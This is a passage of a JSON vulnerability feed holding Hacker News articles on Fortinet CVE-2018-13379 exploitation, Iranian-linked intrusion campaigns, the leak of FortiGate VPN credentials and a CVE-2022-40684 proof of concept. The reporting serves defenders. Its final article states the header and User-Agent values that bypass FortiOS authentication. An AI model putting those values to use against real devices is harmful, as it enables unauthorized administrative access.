2021.\n\nThat's according to a \"[Top Routinely Exploited Vulnerabilities](<https://www.cisa.gov/uscert/ncas/alerts/aa22-117a>)\" report released by cybersecurity authorities from the Five Eyes nations Australia, Canada, New Zealand, the U.K., and the U.S.\n\nOther frequently weaponized flaws included a remote code execution bug in Microsoft Exchange Server ([CVE-2020-0688](<https://thehackernews.com/2021/07/top-30-critical-security.html>)), an arbitrary file read vulnerability in Pulse Secure Pulse Connect Secure ([CVE-2019-11510](<https://thehackernews.com/2020/04/pulse-secure-vpn-vulnerability.html>)), and a path traversal defect in Fortinet FortiOS and FortiProxy ([CVE-2018-13379](<https://thehackernews.com/2021/09/hackers-leak-vpn-account-passwords-from.html>)).\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjV_5FJTAhnIsR8JgqL9uQg0ZFxcNG_CjB_UQkbmLMHp3ywOvVYK21BPlGIrlFOkrpjXKZTudyfgIFVbvdoCqezanw_M902zAF_j0D0iiMlBFYA9xgTU3PqsuazBsluMEFz04W5fr6wR3IcoNmrMSzQaRgR5ai54nGTQjKTBNImgKDAlUP3blp4-t8a/s728-e100/cisa.jpg>)\n\nNine of the top 15 routinely exploited flaws were remote code execution vulnerabilities, followed by two privilege escalation weaknesses, and one each of security feature bypass, arbitrary code execution, arbitrary file read, and path traversal flaws.\n\n\"Globally, in 2021, malicious cyber actors targeted internet-facing systems, such as email servers and virtual private network (VPN) servers, with exploits of newly disclosed vulnerabilities,\" the agencies said in a joint advisory.\n\n\"For most of the top exploited vulnerabilities, researchers or other actors released proof of concept (PoC) code within two weeks of the vulnerability's disclosure, likely facilitating exploitation by a broader range of malicious actors.\"\n\nTo mitigate the risk of exploitation of publicly known software vulnerabilities, the agencies are recommending organizations to apply patches in a timely fashion and implement a centralized patch management system.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-04-28T05:41:00", "type": "thn", "title": "U.S. Cybersecurity Agency Lists 2021's Top 15 Most Exploited Software Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2020-0688"], "modified": "2022-05-09T02:55:12", "id": "THN:3266EB2F73FA4A955845C8FEBA4E73C5", "href": "https://thehackernews.com/2022/04/us-cybersecurity-agency-lists-2021s-top.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:32", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEgcW-6sY33kcH0dmBIKaK9mpaBaPRVIHpXHjT6Hgy_cMiHxlaNJfxuW1eMvQDiHyvzDLYVJGlJVA2b_pyL6m02QdpItx8VmJbN4PgH539vr05iJNN2nhAyDflMWDr-NbNmKaPQvhSn59trm4goPShyfhF5aIO8nNOTMAMBWoNZZ5zvA73ryI_wfVzbT>)\n\nA \"potentially destructive actor\" aligned with the government of Iran is actively exploiting the well-known [Log4j vulnerability](<https://thehackernews.com/2022/01/microsoft-warns-of-continued-attacks.html>) to infect unpatched VMware Horizon servers with ransomware.\n\nCybersecurity firm SentinelOne dubbed the group \"**TunnelVision**\" owing to their heavy reliance on tunneling tools, with overlaps in tactics observed to that of a broader group tracked under the moniker [Phosphorus](<https://thehackernews.com/2022/01/iranian-hackers-exploit-log4j.html>) as well as Charming Kitten and Nemesis Kitten.\n\n\"TunnelVision activities are characterized by wide-exploitation of 1-day vulnerabilities in target regions,\" SentinelOne researchers Amitai Ben Shushan Ehrlich and Yair Rigevsky [said](<https://www.sentinelone.com/labs/log4j2-in-the-wild-iranian-aligned-threat-actor-tunnelvision-actively-exploiting-vmware-horizon/>) in a report, with the intrusions detected in the Middle East and the U.S.\n\nAlso observed alongside Log4Shell is the exploitation of Fortinet FortiOS path traversal flaw ([CVE-2018-13379](<https://thehackernews.com/2022/02/us-says-russian-hackers-stealing.html>)) and the Microsoft Exchange [ProxyShell](<https://thehackernews.com/2021/11/hackers-exploiting-proxylogon-and.html>) vulnerability to gain initial access into the target networks for post-exploitation.\n\n\"TunnelVision attackers have been actively exploiting the vulnerability to run malicious PowerShell commands, deploy backdoors, create backdoor users, harvest credentials and perform lateral movement,\" the researchers said.\n\nThe PowerShell commands are used as a launchpad to download tools like Ngrok and run further commands by means of reverse shells that are employed to drop a PowerShell backdoor that's capable of gathering credentials and executing reconnaissance commands.\n\nSentinelOne also said it identified similarities in the mechanism used to execute the reverse web shell with another PowerShell-based implant called [PowerLess](<https://thehackernews.com/2022/02/iranian-hackers-using-new-powershell.html>) that was disclosed by Cybereason researchers earlier this month.\n\nAll through the activity, the threat actor is said to have utilized a GitHub repository known as \"VmWareHorizon\" under the username \"protections20\" to host the malicious payloads.\n\nThe cybersecurity company said it's associating the attacks to a separate Iranian cluster not because they are unrelated, but owing to the fact that \"there is at present insufficient data to treat them as identical to any of the aforementioned attributions.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-02-18T07:40:00", "type": "thn", "title": "Iranian Hackers Targeting VMware Horizon Log4j Flaws to Deploy Ransomware", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379"], "modified": "2022-02-18T07:40:44", "id": "THN:F25FAD25E15EBBE4934883ABF480294D", "href": "https://thehackernews.com/2022/02/iranian-hackers-targeting-vmware.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2022-05-09T12:38:01", "description": "[](<https://thehackernews.com/images/-cKikIN2o4zA/YK5pX-ibrqI/AAAAAAAACpU/sp4zF_WZEkMPqmuvXXvmNfX9jnVnVLdkwCLcBGAsYHQ/s0/data-wiper-ransomware.jpg>)\n\nResearchers on Tuesday disclosed a new espionage campaign that resorts to destructive data-wiping attacks targeting Israeli entities at least since December 2020 that camouflage the malicious activity as ransomware extortions.\n\nCybersecurity firm SentinelOne attributed the attacks to a nation-state actor affiliated with Iran it tracks under the moniker \"Agrius.\"\n\n\"An analysis of what at first sight appeared to be a ransomware attack revealed new variants of wipers that were deployed in a set of destructive attacks against Israeli targets,\" the researchers [said](<https://assets.sentinelone.com/sentinellabs/evol-agrius>). \"The operators behind the attacks intentionally masked their activity as ransomware attacks, an uncommon behavior for financially motivated groups.\"\n\nThe group's modus operandi involves deploying a custom .NET malware called Apostle that has evolved to become a fully functional ransomware, supplanting its prior wiper capabilities, while some of the attacks have been carried out using a second wiper named DEADWOOD (aka Detbosit) after a logic flaw in early versions of Apostle prevented data from being erased.\n\nIn addition, the Agrius actors drop a .NET implant called IPsec Helper that can be used to exfiltrate data or deploy additional malware. What's more, the threat actor's tactics have also witnessed a shift from espionage to demanding ransoms from its victims to recover access to encrypted data, only to have them actually destroyed in a wiping attack.\n\n[](<https://thehackernews.com/images/-bw6vJJdJmK8/YK5m41wm5XI/AAAAAAAACpM/hW2cbdRji0Qr191iBSXgSHzTAfh_i9ERwCLcBGAsYHQ/s0/vpn.jpg>)\n\nBesides using ProtonVPN for anonymization, the Agrius attack cycle leverages 1-day vulnerabilities in web-based applications, including [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>), to gain an initial foothold and subsequently deliver ASPXSpy web shells to maintain remote access to compromised systems and run arbitrary commands.\n\nIf anything, the research adds to evidence that state-sponsored actors with ties to the Iranian government are increasingly looking at ransomware operations as a subterfuge technique to mimic other financially motivated cybercriminal ransomware groups.\n\nRecently leaked documents by Lab Dookhtegan revealed an initiative called \"[Project Signal](<https://thehackernews.com/2021/05/researchers-uncover-iranian-state.html>)'' that linked Iran's Islamic Revolutionary Guard Corps to a ransomware operation through a contracting company.\n\n\"While being disruptive and effective, ransomware activities provide deniability, allowing states to send a message without taking direct blame,\" the researchers said. \"Similar strategies have been used with devastating effect by [other nation-state sponsored actors](<https://thehackernews.com/2017/06/petya-ransomware-decryption-key.html>).\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-05-26T15:30:00", "type": "thn", "title": "Data Wiper Malware Disguised As Ransomware Targets Israeli Entities", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379"], "modified": "2021-06-07T05:01:48", "id": "THN:EAEDDF531EB90375B350E1580DE3DD02", "href": "https://thehackernews.com/2021/05/data-wiper-malware-disguised-as.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2022-05-09T12:38:22", "description": "[](<https://thehackernews.com/images/-wqhJpW-QhTc/YG79n_lop2I/AAAAAAAACNY/ZnMOyKz8e6Adj5Hy8a5WXa_-MbqnDgRLwCLcBGAsYHQ/s0/cyberattack.jpg>)\n\nUnpatched Fortinet VPN devices are being targeted in a series of attacks against industrial enterprises in Europe to deploy a new strain of ransomware called \"Cring\" inside corporate networks.\n\nAt least one of the hacking incidents led to the temporary shutdown of a production site, said cybersecurity firm Kaspersky in a report published on Wednesday, without publicly naming the victim.\n\nThe attacks happened in the first quarter of 2021, between January and March.\n\n\"Various details of the attack indicate that the attackers had carefully analyzed the infrastructure of the targeted organization and prepared their own infrastructure and toolset based on the information collected at the reconnaissance stage,\" [said](<https://ics-cert.kaspersky.com/reports/2021/04/07/vulnerability-in-fortigate-vpn-servers-is-exploited-in-cring-ransomware-attacks/>) Vyacheslav Kopeytsev, a security researcher at Kaspersky ICS CERT.\n\nThe disclosure comes days after the Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) [warned](<https://us-cert.cisa.gov/ncas/current-activity/2021/04/02/fbi-cisa-joint-advisory-exploitation-fortinet-fortios>) of advanced persistent threat (APT) actors actively scanning for Fortinet SSL VPN appliances vulnerable to CVE-2018-13379, among others.\n\n\"APT actors may use these vulnerabilities or other common exploitation techniques to gain initial access to multiple government, commercial, and technology services. Gaining initial access pre-positions the APT actors to conduct future attacks,\" the agency said.\n\n[](<https://thehackernews.com/images/-5QwYhR-6pQ0/YG794Oq_4BI/AAAAAAAACNg/cbtbheKh0Z4gm3R1vdQ6cdPUmQT6WjUNwCLcBGAsYHQ/s0/hack.jpg>)\n\n[CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) concerns a path traversal vulnerability in the FortiOS SSL VPN web portal, which allows unauthenticated attackers to read arbitrary system files, including the session file, which contains usernames and passwords stored in plaintext.\n\nAlthough patches for the vulnerability were released in [May 2019](<https://www.fortiguard.com/psirt/FG-IR-18-384>), Fortinet said last November that it identified a \"[large number](<https://www.fortinet.com/blog/psirt-blogs/update-regarding-cve-2018-13379>)\" of VPN appliances that remained unpatched, while also cautioning that IP addresses of those internet-facing vulnerable devices were being sold on the dark web.\n\nIn a statement shared with The Hacker News, Fortinet said it had urged customers to upgrade their appliances \"on multiple occasions in [August 2019](<https://www.fortinet.com/blog/psirt-blogs/fortios-ssl-vulnerability>), [July 2020](<https://www.fortinet.com/blog/psirt-blogs/atp-29-targets-ssl-vpn-flaws>), and again in [April 2021](<https://www.fortinet.com/blog/psirt-blogs/patch-vulnerability-management>)\" following the May 2019 fix. \"If customers have not done so, we urge them to immediately implement the upgrade and mitigations,\" the company said.\n\nThe attacks aimed at European businesses were no different, according to Kaspersky's incident response, which found that the deployment of Cring ransomware involved the exploitation of CVE-2018-13379 to gain access to the target networks.\n\n\"Some time prior to the main phase of the operation, the attackers performed test connections to the VPN Gateway, apparently in order to make sure that the stolen user credentials for the VPN were still valid,\" Kaspersky researchers said.\n\nUpon gaining access, the adversaries are said to have used the Mimikatz utility to siphon account credentials of Windows users who had previously logged in to the compromised system, then utilizing them to break into the domain administrator account, move laterally across the network, and eventually deploy the Cring ransomware on each machine remotely using the Cobalt Strike framework.\n\n[Cring](<https://malpedia.caad.fkie.fraunhofer.de/details/win.cring>), a nascent strain that was first observed in January 2021 by telecom provider Swisscom, encrypts specific files on the devices using strong encryption algorithms after removing traces of all backup files and terminating Microsoft Office and Oracle Database processes. Following successful encryption, it drops a ransom note demanding payment of two bitcoins.\n\n[](<https://thehackernews.com/images/-zg8HygZ73Eo/YG7-LtYB1JI/AAAAAAAACNo/wj8rvRY9io4E_QWg643XIdI94kejG4D5gCLcBGAsYHQ/s0/cybersecurity.jpg>)\n\nWhat's more, the threat actor was careful to hide their activity by disguising the malicious PowerShell scripts under the name \"kaspersky\" to evade detection and ensured that the server hosting the ransomware payload only responded to requests coming in from European countries.\n\n\"An analysis of the attackers' activity demonstrates that, based on the results of the reconnaissance performed on the attacked organization's network, they chose to encrypt those servers which the attackers believed would cause the greatest damage to the enterprise's operations if lost,\" Kopeytsev [said](<https://usa.kaspersky.com/about/press-releases/2021_na-cring-ransomware-infects-industrial-targets-through-vulnerability-in-vpn-servers>).\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-04-08T13:12:00", "type": "thn", "title": "Hackers Exploit Unpatched VPNs to Install Ransomware on Industrial Targets", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379"], "modified": "2021-04-13T05:39:44", "id": "THN:FBDAEC0555EDC3089DC0966D121E0BCE", "href": "https://thehackernews.com/2021/04/hackers-exploit-unpatched-vpns-to.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2022-06-04T09:56:20", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEg6QgmIugjApGsSp_v-DgmrWh7TAwmgc2-q7he3aZA3LmwS3p9FJchpB4duBUG7J8wctZHQGDUg2jvObX6Lto5BZUAMDX2xH7JG8EDRyjRmSLmiaQl8rgHeOaQhlEL7oZDJgxSQOX8XlQiMQHLt36bKZAAJU2uaq2rKhruJOh9LNq60PhKcZc8Lj6Dn/s728-e100/hackers.jpg>)\n\nMicrosoft on Thursday said it took steps to disable malicious activity stemming from abuse of OneDrive by a previously undocumented threat actor it tracks under the chemical element-themed moniker Polonium.\n\nIn addition to removing the offending accounts created by the Lebanon-based activity group, the tech giant's Threat Intelligence Center (MSTIC) said it suspended over 20 malicious OneDrive applications created by Polonium andd that it notified affected organizations.\n\n\"The observed activity was coordinated with other actors affiliated with Iran's Ministry of Intelligence and Security (MOIS), based primarily on victim overlap and commonality of tools and techniques,\" MSTIC [assessed](<https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/>) with \"moderate confidence.\"\n\nThe adversarial collective is believed to have breached more than 20 organizations based in Israel and one intergovernmental organization with operations in Lebanon since February 2022.\n\nTargets of interest included entities in the manufacturing, IT, transportation, defense, government, agriculture, financial, and healthcare sectors, with one cloud service provider compromised to target a downstream aviation company and law firm in what's a case of a supply chain attack.\n\nIn a vast majority of the cases, initial access is believed to have been obtained by exploiting a path traversal flaw in Fortinet appliances ([CVE-2018-13379](<https://thehackernews.com/2021/09/hackers-leak-vpn-account-passwords-from.html>)), abusing it to drop custom PowerShell implants like CreepySnail that establish connections to a command-and-control (C2) server for follow-on actions.\n\nAttack chains mounted by the actor have involved the use of custom tools that leverage legitimate cloud services such as OneDrive and Dropbox accounts for C2 with its victims using malicious tools dubbed CreepyDrive and CreepyBox.\n\n\"The implant provides basic functionality of allowing the threat actor to upload stolen files and download files to run,\" the researchers said.\n\nThis is not the first time Iranian threat actors have taken advantage of cloud services. In October 2021, Cybereason [disclosed](<https://thehackernews.com/2021/10/iranian-hackers-abuse-dropbox-in.html>) an attack campaign staged by a group called MalKamak that used Dropbox for C2 communications in an attempt to stay under the radar.\n\nAdditionally, MSTIC noted that multiple victims that were compromised by Polonium were previously targeted by another Iranian group called [MuddyWater](<https://thehackernews.com/2022/01/us-cyber-command-links-muddywater.html>) (aka Mercury), which has been characterized by the U.S. Cyber Command as a \"subordinate element\" within MOIS.\n\nThe victim overlaps lend credence to earlier reports that MuddyWater is a \"[conglomerate](<https://thehackernews.com/2022/03/iranian-hackers-targeting-turkey-and.html>)\" of multiple teams along the lines of Winnti (China) and the Lazarus Group (North Korea).\n\nTo counter such threats, customers are advised to enable multi-factor authentication as well as review and audit partner relationships to minimize any unnecessary permissions.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-03T09:19:00", "type": "thn", "title": "Microsoft Blocks Iran-linked Lebanese Hackers Targeting Israeli Companies", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379"], "modified": "2022-06-04T08:43:20", "id": "THN:8BA951AD00E17C72D6321234DBF80D19", "href": "https://thehackernews.com/2022/06/microsoft-blocks-iran-linked-lebanese.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2021-09-09T08:35:28", "description": "[](<https://thehackernews.com/images/-05Y4azfOtHY/YTmz5X6CzVI/AAAAAAAADwU/FmcJruB5qJM-D9XZtYFV-FPRYfwHpYpHwCLcBGAsYHQ/s0/vpng.jpg>)\n\nNetwork security solutions provider Fortinet confirmed that a malicious actor had unauthorizedly disclosed VPN login names and passwords associated with 87,000 FortiGate SSL-VPN devices.\n\n\"These credentials were obtained from systems that remained unpatched against [CVE-2018-13379](<https://www.fortiguard.com/psirt/FG-IR-18-384>) at the time of the actor's scan. While they may have since been patched, if the passwords were not reset, they remain vulnerable,\" the company [said](<https://www.fortinet.com/blog/psirt-blogs/malicious-actor-discloses-fortigate-ssl-vpn-credentials>) in a statement on Wednesday.\n\nThe disclosure comes after the threat actor leaked a list of Fortinet credentials for free on a new Russian-speaking forum called [RAMP](<https://ke-la.com/new-russian-speaking-forum-a-new-place-for-raas/>) that launched in July 2021 as well as on Groove ransomware's data leak site, with Advanced Intel [noting](<https://www.advintel.io/post/groove-vs-babuk-groove-ransom-manifesto-ramp-underground-platform-secret-inner-workings>) that the \"breach list contains raw access to the top companies\" spanning across 74 countries, including India, Taiwan, Italy, France, and Israel. \"2,959 out of 22,500 victims are U.S. entities,\" the researchers said.\n\n[](<https://thehackernews.com/images/-HU-9TZrc8Wo/YTm0pyWYXXI/AAAAAAAADwc/12l08TWEhOUM6FKznJkQu0G8qDlpbkrcACLcBGAsYHQ/s0/leak.jpg>)\n\n[CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) relates to a path traversal vulnerability in the FortiOS SSL VPN web portal, which allows unauthenticated attackers to read arbitrary system files, including the session file, which contains usernames and passwords stored in plaintext. \n\nAlthough the bug was rectified in May 2019, the security weakness has been [repeatedly](<https://thehackernews.com/2020/02/iranian-hackers-vpn-vulnerabilities.html>) [exploited](<https://thehackernews.com/2021/04/fbi-cisa-uncover-tactics-employed-by.html>) by [multiple](<https://thehackernews.com/2021/04/hackers-exploit-unpatched-vpns-to.html>) [adversaries](<https://thehackernews.com/2021/05/data-wiper-malware-disguised-as.html>) to deploy an array of [malicious payloads](<https://thehackernews.com/2021/05/top-11-security-flaws-russian-spy.html>) on unpatched devices, prompting Fortinet to issue a series of advisories in [August 2019](<https://www.fortinet.com/blog/psirt-blogs/fortios-ssl-vulnerability>), [July 2020](<https://www.fortinet.com/blog/psirt-blogs/atp-29-targets-ssl-vpn-flaws>), [April 2021](<https://www.fortinet.com/blog/psirt-blogs/patch-vulnerability-management>), and again in [June 2021](<https://www.fortinet.com/blog/psirt-blogs/prioritizing-patching-is-essential-for-network-integrity>), urging customers to upgrade affected appliances.\n\n[](<https://thehackernews.com/images/-qUrCccGMLeI/YTm0raORfPI/AAAAAAAADwg/R5dmT1pkUKwnRGYKr_SGB-GiTdIvnz1GACLcBGAsYHQ/s0/stats.jpg>)\n\nCVE-2018-13379 also emerged as one of the [top most exploited flaws](<https://thehackernews.com/2021/07/top-30-critical-security.html>) in 2020, according to a list compiled by intelligence agencies in Australia, the U.K., and the U.S. earlier this year.\n\nIn light of the leak, Fortinet is recommending companies to immediately disable all VPNs, upgrade the devices to FortiOS 5.4.13, 5.6.14, 6.0.11, or 6.2.8 and above followed by initiating an organization-wide password reset, warning that \"you may remain vulnerable post-upgrade if your users' credentials were previously compromised.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-09T07:16:00", "type": "thn", "title": "Hackers Leak VPN Account Passwords From 87,000 Fortinet FortiGate Devices", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379"], "modified": "2021-09-09T07:33:52", "id": "THN:8483C1B45A5D7BF5D501DE72F5898935", "href": "https://thehackernews.com/2021/09/hackers-leak-vpn-account-passwords-from.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2022-10-15T04:05:18", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEiHjIXiW2zuHYHOZQbJKZD4p4uzwJHQdTAWhDUrxnxbxqVorwddxJ6Glgo6ERl_J1sIvlUI3AI6uug4KNSzj7-i_k6bmiZJO4-l33F5VRyfcJmN6tJHyz9cKIzx_FfcSyhR9ddrcoCcb5Gk5FgGjBg56GhIjX6JM3s3HkJJ7D0YkFii0-2B4IILpOZS/s728-e100/hack.jpg>)\n\nA proof-of-concept (PoC) exploit code has been made available for the recently disclosed critical security flaw affecting Fortinet FortiOS, FortiProxy, and FortiSwitchManager, making it imperative that users move quickly to apply the patches.\n\n\"FortiOS exposes a management web portal that allows a user to configure the system,\" Horizon3.ai researcher James Horseman [said](<https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684/>). \"Additionally, a user can SSH into the system which exposes a locked down CLI interface.\"\n\nThe issue, tracked as [CVE-2022-40684](<https://thehackernews.com/2022/10/fortinet-warns-of-new-auth-bypass-flaw.html>) (CVSS score: 9.6), concerns an [authentication bypass](<https://www.horizon3.ai/fortinet-iocs-cve-2022-40684/>) vulnerability that could allow a remote attacker to perform malicious operations on the administrative interface via specially crafted HTTP(S) requests.\n\nA successful exploitation of the shortcoming is tantamount to granting complete access \"to do just about anything\" on the affected system, including altering network configurations, adding malicious users, and intercepting network traffic.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjRUF5zXRq0j7JtozHreYQFvBZmHZaK79k53nzd5BkO7GRapjoRFkekYnIkcLCXVxw9mkLJS3UHKjGxK35wSa1VoHFc0Zf6y_GWxV0-TUy9uwKyXDgo3Jfsu6LvlLgEj49ayxN49j9vIbADLJYnPG5XgMHOvHquE-zMEAI94s02hvVLk4tDyYrLSqz4/s728-e100/poc.jpg>)\n\nThat said, the cybersecurity firm said that there are two essential prerequisites when making such a request -\n\n * Using the Forwarded header, an attacker is able to set the client_ip to \"127.0.0.1\"\n * The \"trusted access\" authentication check verifies that the client_ip is \"127.0.0.1\" and the User-Agent is \"Report Runner\" both of which are under attacker control\n\nThe release of the PoC comes as Fortinet [cautioned](<https://thehackernews.com/2022/10/fortinet-warns-of-active-exploitation.html>) that it's already aware of an instance of active exploitation of the flaw in the wild, prompting the U.S. 